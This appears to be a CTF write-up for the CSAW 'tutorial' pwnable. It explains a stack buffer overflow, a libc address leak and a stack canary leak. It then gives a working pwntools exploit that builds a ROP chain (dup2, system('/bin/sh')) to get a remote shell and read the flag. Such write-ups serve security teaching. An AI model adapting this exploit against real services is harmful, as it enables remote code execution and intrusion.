Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.

nc pwn.chal.csaw.io 8002
tutorial - libc-2.19.so

Overview and Analysis

~ $ nc pwn.chal.csaw.io 8002
-Tutorial-
1.Manual
2.Practice
3.Quit
>1
Reference:0x7fad235d3860
-Tutorial-
1.Manual
2.Practice
3.Quit
>2
Time to test your exploit...
>AAAABBBBCCCC
AAAABBBBCCCC
��g�]�p�g/�-Tutorial-
1.Manual
2.Practice
3.Quit
>3
You still did not solve my challenge.

As initial guess, this apparently simple service seems to be related to buffer overflows and ASLR.

As for most pwnables, the challenge provides the binary executable of the service. The mitigation techniques being used are:

~ $ checksec tutorial
[*] '/home/ubuntu/tutorial'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

To run (and debug) the service locally, a quick look at the disassembled code reveals that it is necessary:

  • to pass as a command line argument the port number on which to listen for connections
  • to create a linux user account named tutorial along with its home directory
  • to run the executable as super-user (to ensure sufficient privileges for setgroups() used by the function priv)

Further analysis of the disassembled service uncovers what happens for the two relevant menu choices:

  • 1.Manual (function func1): the program prints the address of libc’s puts incremented by 0x500
  • 2.Practice (function func2): the program read()s from the user 0x1CC bytes, stores them in a local buffer of size 0x12C, and finally write()s back to the user 0x144 bytes read starting from the same local buffer. Notably, the distance from the local buffer stack address to the function return address is 0x148 bytes (0x12C bytes for the local buffer, 0xC bytes for alignment, 0x8 bytes for the stack canary and 0x8 bytes for the base pointer)

Exploitation

Control of the RIP register is trivially obtained by the end of func2, since the read() call of 0x1CC bytes overflows the local buffer and allows to override the return address.
The same function does also the favor of leaking its stack canary to the user, by means of the write() call of 0x144 bytes.
Since the executable is NX protected, the shellcode must be costructed using Return-Oriented Programming. No address guessing is needed, since it is possible to reliably compute libc’s base address using the output of func1.

Summing up, the steps required to execute arbitrary code are:

  1. connect to the service
  2. choose 1.Manual, read the output and compute libc’s base address by simple arithmetics
  3. choose 2.Practice, send any string shorter than 0x12C+0xC=0x138 bytes, read the output and extract the stack canary
  4. choose 2.Practice again and send the final exploit crafted as
    0x138 filler bytes + leaked stack canary + 0x8 filler bytes + ROP chain
    (in the ROP chain, remember to redirect stdin and stdout to the socket, using e.g. dup2)

PoC:

#!/usr/bin/env python2
from pwn import *

context(arch='amd64', os='linux')

binary = ELF('tutorial')

debug = False
if not debug:
r = remote('pwn.chal.csaw.io', 8002)
libc = ELF('libc-2.19.so')
else:
r = remote('127.0.0.1', 31337)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

########## find libc base
r.recvuntil('>')
r.sendline('1')
puts_address = int(r.recvline()[10:], 16) + 0x500
libc.address = puts_address - libc.symbols['puts']
print 'libc address: %x' % libc.address

########## find canary
r.recvuntil('>')
r.sendline('2')
r.recvuntil('>')
r.sendline()
canary = r.recv(0x144)[0x138:0x138 + 0x8]
print 'canary: %s' % canary.encode('hex')

########## build rop chain
rop = ROP([binary, libc])

# dup2(4, 0)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(0x4)
rop.raw(rop.find_gadget(['pop rsi', 'ret']))
rop.raw(0x0)
rop.raw(libc.symbols['dup2'])

# dup2(4, 1)
rop.raw(rop.find_gadget(['pop rsi', 'ret']))
rop.raw(0x1)
rop.raw(libc.symbols['dup2'])

# system('/bin/sh')
binsh = next(libc.search('/bin/sh'))
rop.system(binsh) # or rop.call('execve', [binsh, 0, 0])

print rop.dump()

########## send exploit
r.recvuntil('>')
r.sendline('2')
r.recvuntil('>')
exploit = 'X' * 0x138 + canary + 'X' * 0x8 + bytes(rop)
assert len(exploit) <= 0x1cc
r.sendline(exploit)

r.interactive()
~ $ python2 poc.py
[*] '/Users/fcagnin/Downloads/tutorial'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
[+] Opening connection to pwn.chal.csaw.io on port 8002: Done
[*] '/Users/fcagnin/Downloads/libc-2.19.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc address: 7fad23564000
canary: 00b19867905dc970
[*] Loading gadgets for '/Users/fcagnin/Downloads/tutorial'
[*] Loading gadgets for '/Users/fcagnin/Downloads/libc-2.19.so'
0x0000: 0x4012e3 pop rdi; ret
0x0008: 0x4
0x0010: 0x7fad23588885 pop rsi; ret
0x0018: 0x0
0x0020: 0x7fad2364fe90 dup2
0x0028: 0x7fad23588885 pop rsi; ret
0x0030: 0x1
0x0038: 0x7fad2364fe90 dup2
0x0040: 0x4012e3 pop rdi; ret
0x0048: 0x7fad236e08c3
0x0050: 0x7fad235aa590 system
0x0058: 'waaaxaaa' <pad>
[*] Switching to interactive mode
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00\xb1\x98g\x90]�pXXXX$ls
flag.txt
tutorial
tutorial.c
$ cat flag.txt
FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}